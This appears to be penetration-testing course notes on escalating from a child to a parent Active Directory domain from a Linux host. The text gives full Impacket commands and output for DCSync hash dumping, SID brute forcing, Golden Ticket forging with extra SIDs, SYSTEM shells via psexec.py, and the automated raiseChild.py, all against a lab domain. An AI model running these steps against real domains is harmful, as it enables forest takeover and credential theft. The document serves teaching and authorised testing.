Attacking Domain Trusts - Child -> Parent Trusts - from Linux

We can also perform the attack shown in the previous section from a Linux attack host. To do so, we'll still need to gather the same bits of information:

  • The KRBTGT hash for the child domain

  • The SID for the child domain

  • The name of a target user in the child domain (does not need to exist!)

  • The FQDN of the child domain

  • The SID of the Enterprise Admins group of the root domain

Once we have complete control of the child domain, LOGISTICS.INLANEFREIGHT.LOCAL, we can use secretsdump.py to DCSync and grab the NTLM hash for the KRBTGT account.

Performing DCSync with secretsdump.py

[!bash!]$ secretsdump.py logistics.inlanefreight.local/[email protected] -just-dc-user LOGISTICS/krbtgt

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e
krbtgt:des-cbc-md5:fee04c3d026d7538
[*] Cleaning up...

Next, we can use lookupsid.py from the Impacket toolkit to perform SID brute forcing to find the SID of the child domain. In this command, whatever we specify for the IP address (the IP of the domain controller in the child domain) will become the target domain for a SID lookup. The tool will give us back the SID for the domain and the RIDs for each user and group that could be used to create their SID in the format DOMAIN_SID-RID. For example, from the output below, we can see that the SID of the lab_adm user would be S-1-5-21-2806153819-209893948-922872689-1001.

Performing SID Brute Forcing using lookupsid.py

[!bash!]$ lookupsid.py logistics.inlanefreight.local/[email protected] 

Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

Password:
[*] Brute forcing SIDs at 172.16.5.240
[*] StringBinding ncacn_np:172.16.5.240[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2806153819-209893948-922872689
500: LOGISTICS\Administrator (SidTypeUser)
501: LOGISTICS\Guest (SidTypeUser)
502: LOGISTICS\krbtgt (SidTypeUser)
512: LOGISTICS\Domain Admins (SidTypeGroup)
513: LOGISTICS\Domain Users (SidTypeGroup)
514: LOGISTICS\Domain Guests (SidTypeGroup)
515: LOGISTICS\Domain Computers (SidTypeGroup)
516: LOGISTICS\Domain Controllers (SidTypeGroup)
517: LOGISTICS\Cert Publishers (SidTypeAlias)
520: LOGISTICS\Group Policy Creator Owners (SidTypeGroup)
521: LOGISTICS\Read-only Domain Controllers (SidTypeGroup)
522: LOGISTICS\Cloneable Domain Controllers (SidTypeGroup)
525: LOGISTICS\Protected Users (SidTypeGroup)
526: LOGISTICS\Key Admins (SidTypeGroup)
553: LOGISTICS\RAS and IAS Servers (SidTypeAlias)
571: LOGISTICS\Allowed RODC Password Replication Group (SidTypeAlias)
572: LOGISTICS\Denied RODC Password Replication Group (SidTypeAlias)
1001: LOGISTICS\lab_adm (SidTypeUser)
1002: LOGISTICS\ACADEMY-EA-DC02$ (SidTypeUser)
1103: LOGISTICS\DnsAdmins (SidTypeAlias)
1104: LOGISTICS\DnsUpdateProxy (SidTypeGroup)
1105: LOGISTICS\INLANEFREIGHT$ (SidTypeUser)
1106: LOGISTICS\htb-student_adm (SidTypeUser)

We can filter out the noise by piping the command output to grep and looking for just the domain SID.

Looking for the Domain SID

[!bash!]$ lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Domain SID"

Password:

[*] Domain SID is: S-1-5-21-2806153819-209893948-92287268

Next, we can rerun the command, targeting the INLANEFREIGHT Domain Controller (DC01) at 172.16.5.5 and grab the domain SID S-1-5-21-3842939050-3880317879-2865463114 and attach the RID of the Enterprise Admins group. Here is a handy list of well-known SIDs.

Grabbing the Domain SID & Attaching to Enterprise Admin's RID

[!bash!]$ lookupsid.py logistics.inlanefreight.local/[email protected] | grep -B12 "Enterprise Admins"

Password:
[*] Domain SID is: S-1-5-21-3842939050-3880317879-2865463114
498: INLANEFREIGHT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: INLANEFREIGHT\administrator (SidTypeUser)
501: INLANEFREIGHT\guest (SidTypeUser)
502: INLANEFREIGHT\krbtgt (SidTypeUser)
512: INLANEFREIGHT\Domain Admins (SidTypeGroup)
513: INLANEFREIGHT\Domain Users (SidTypeGroup)
514: INLANEFREIGHT\Domain Guests (SidTypeGroup)
515: INLANEFREIGHT\Domain Computers (SidTypeGroup)
516: INLANEFREIGHT\Domain Controllers (SidTypeGroup)
517: INLANEFREIGHT\Cert Publishers (SidTypeAlias)
518: INLANEFREIGHT\Schema Admins (SidTypeGroup)
519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)

We have gathered the following data points to construct the command for our attack. Once again, we will use the non-existent user hacker to forge our Golden Ticket.

  • The KRBTGT hash for the child domain: 9d765b482771505cbe97411065964d5f

  • The SID for the child domain: S-1-5-21-2806153819-209893948-922872689

  • The name of a target user in the child domain (does not need to exist!): hacker

  • The FQDN of the child domain: LOGISTICS.INLANEFREIGHT.LOCAL

  • The SID of the Enterprise Admins group of the root domain: S-1-5-21-3842939050-3880317879-2865463114-519

Next, we can use ticketer.py from the Impacket toolkit to construct a Golden Ticket. This ticket will be valid to access resources in the child domain (specified by -domain-sid) and the parent domain (specified by -extra-sid).

Constructing a Golden Ticket using ticketer.py

[!bash!]$ ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for LOGISTICS.INLANEFREIGHT.LOCAL/hacker
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncAsRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncASRepPart
[*] Saving ticket in hacker.ccache

The ticket will be saved down to our system as a credential cache (ccache) file, which is a file used to hold Kerberos credentials. Setting the KRB5CCNAME environment variable tells the system to use this file for Kerberos authentication attempts.

Setting the KRB5CCNAME Environment Variable

[!bash!]$ export KRB5CCNAME=hacker.ccache 

We can check if we can successfully authenticate to the parent domain's Domain Controller using Impacket's version of Psexec. If successful, we will be dropped into a SYSTEM shell on the target Domain Controller.

Getting a SYSTEM shell using Impacket's psexec.py

[!bash!]$ psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/[email protected] -k -no-pass -target-ip 172.16.5.5

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 172.16.5.5.....
[*] Found writable share ADMIN$
[*] Uploading file nkYjGWDZ.exe
[*] Opening SVCManager on 172.16.5.5.....
[*] Creating service eTCU on 172.16.5.5.....
[*] Starting service eTCU.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
ACADEMY-EA-DC01
  1. psexec.py

    • This is a Python script from Impacket that allows you to execute commands on a remote Windows machine using SMB (Server Message Block).

    • It mimics Microsoft's PsExec tool, but works over SMB.

  2. LOGISTICS.INLANEFREIGHT.LOCAL/[email protected]

    • This specifies the domain and user credentials:

      • LOGISTICS.INLANEFREIGHT.LOCAL → The Active Directory domain.

      • hacker → The username being used to authenticate.

      • academy-ea-dc01.inlanefreight.local → The Domain Controller (DC) the authentication request is sent to.

  3. -k (Kerberos authentication)

    • This tells psexec.py to use the Kerberos ticket from the current session instead of requiring a password.

  4. -no-pass

    • No password is provided. It relies on Kerberos authentication (as specified with -k) or an existing authentication method.

  5. -target-ip 172.16.5.5

    • This specifies the target machine's IP address where the command should be executed.

    • This could be the Domain Controller (DC) or any other remote system within the network.


What This Command Does

  • It attempts to remotely execute commands on 172.16.5.5 using the hacker account.

  • It authenticates with Kerberos (-k) instead of prompting for a password.

  • If successful, it will gain SYSTEM-level access on the target machine (if privileges allow it).


Potential Issues & Considerations

  1. Privileges Required

    • The hacker account must have admin privileges on the target (172.16.5.5), or the command will fail.

    • To verify privileges, use:

      shCopyEditwhoami /priv
  2. Kerberos Ticket Needed

    • Since -k is used, a valid Kerberos TGT (Ticket Granting Ticket) must already exist.

    • Check for a Kerberos ticket with:

      shCopyEditklist

Impacket also has the tool raiseChild.py, which will automate escalating from child to parent domain. We need to specify the target domain controller and credentials for an administrative user in the child domain; the script will do the rest. If we walk through the output, we see that it starts by listing out the child and parent domain's fully qualified domain names (FQDN). It then:

  • Obtains the SID for the Enterprise Admins group of the parent domain

  • Retrieves the hash for the KRBTGT account in the child domain

  • Creates a Golden Ticket

  • Logs into the parent domain

  • Retrieves credentials for the Administrator account in the parent domain

Finally, if the target-exec switch is specified, it authenticates to the parent domain's Domain Controller via Psexec.

Performing the Attack with raiseChild.py

[!bash!]$ raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
[*] Raising child domain LOGISTICS.INLANEFREIGHT.LOCAL
[*] Forest FQDN is: INLANEFREIGHT.LOCAL
[*] Raising LOGISTICS.INLANEFREIGHT.LOCAL to INLANEFREIGHT.LOCAL
[*] INLANEFREIGHT.LOCAL Enterprise Admin SID is: S-1-5-21-3842939050-3880317879-2865463114-519
[*] Getting credentials for LOGISTICS.INLANEFREIGHT.LOCAL
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
[*] Getting credentials for INLANEFREIGHT.LOCAL
INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:69e57bd7e7421c3cfdab757af255d6af07d41b80913281e0c528d31e58e31e6d
[*] Target User account name is administrator
INLANEFREIGHT.LOCAL/administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
INLANEFREIGHT.LOCAL/administrator:aes256-cts-hmac-sha1-96s:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
[*] Opening PSEXEC shell at ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
[*] Requesting shares on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file BnEGssCE.exe
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Creating service UVNb on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Starting service UVNb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Stopping service UVNb.....
[*] Removing service UVNb.....
[*] Removing file BnEGssCE.exe.....

The script lists out the workflow and process in a comment as follows:

#   The workflow is as follows:
#       Input:
#           1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'
#              The domain specified MUST be the domain FQDN.
#           2) Optionally a pathname to save the generated golden ticket (-w switch)
#           3) Optionally a target-user RID to get credentials (-targetRID switch)
#              Administrator by default.
#           4) Optionally a target to PSEXEC with the target-user privileges to (-target-exec switch).
#              Enterprise Admin by default.
#
#       Process:
#           1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
#           2) Find out what the forest FQDN is (via [MS-NRPC])
#           3) Get the forest's Enterprise Admin SID (via [MS-LSAT])
#           4) Get the child domain's krbtgt credentials (via [MS-DRSR])
#           5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
#              and setting expiration 10 years from now
#           6) Use the generated ticket to log into the forest and get the target user info (krbtgt/admin by default)
#           7) If file was specified, save the golden ticket in ccache format
#           8) If target was specified, a PSEXEC shell is launched
#
#       Output:
#           1) Target user credentials (Forest's krbtgt/admin credentials by default)
#           2) A golden ticket saved in ccache for future fun and profit
#           3) PSExec Shell with the target-user privileges (Enterprise Admin privileges by default) at target-exec
#              parameter.

Though tools such as raiseChild.py can be handy and save us time, it is essential to understand the process and be able to perform the more manual version by gathering all of the required data points. In this case, if the tool fails, we are more likely to understand why and be able to troubleshoot what is missing, which we would not be able to if blindly running this tool. In a client production environment, we should always be careful when running any sort of "autopwn" script like this, and always remain cautious and construct commands manually when possible. Other tools exist which can take in data from a tool such as BloodHound, identify attack paths, and perform an "autopwn" function that can attempt to perform each action in an attack chain to elevate us to Domain Admin (such as a long ACL attack path). I would recommend avoiding tools such as these and work with tools that you understand fully, and will also give you the greatest degree of control throughout the process.

We don't want to tell the client that something broke because we used an "autopwn" script!

Dumping Hashes

┌─[htb-student@ea-attack01]─[~]
└──╼ $secretsdump.py [email protected] -k -no-pass -just-dc-ntlm -just-dc-user bross
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
inlanefreight.local\bross:1179:aad3b435b51404eeaad3b435b51404ee:49a074a39dd0651f647e765c2cc794c7:::
[*] Cleaning up... 

Breaking It Down:

Component

Explanation

secretsdump.py

Impacket tool used to dump password hashes from a Windows domain controller.

The user (hacker) authenticating against the Domain Controller (academy-ea-dc01.inlanefreight.local).

-k

Uses Kerberos authentication instead of NTLM or plaintext passwords.

-no-pass

Tells secretsdump.py not to prompt for a password, since it's using Kerberos (-k).

-just-dc-ntlm

Extracts only NTLM hashes from the NTDS.DIT database on the DC.

-just-dc-user bross

Dumps credentials only for user bross, instead of all users.

dump only NTLN hashes if it is giving errors

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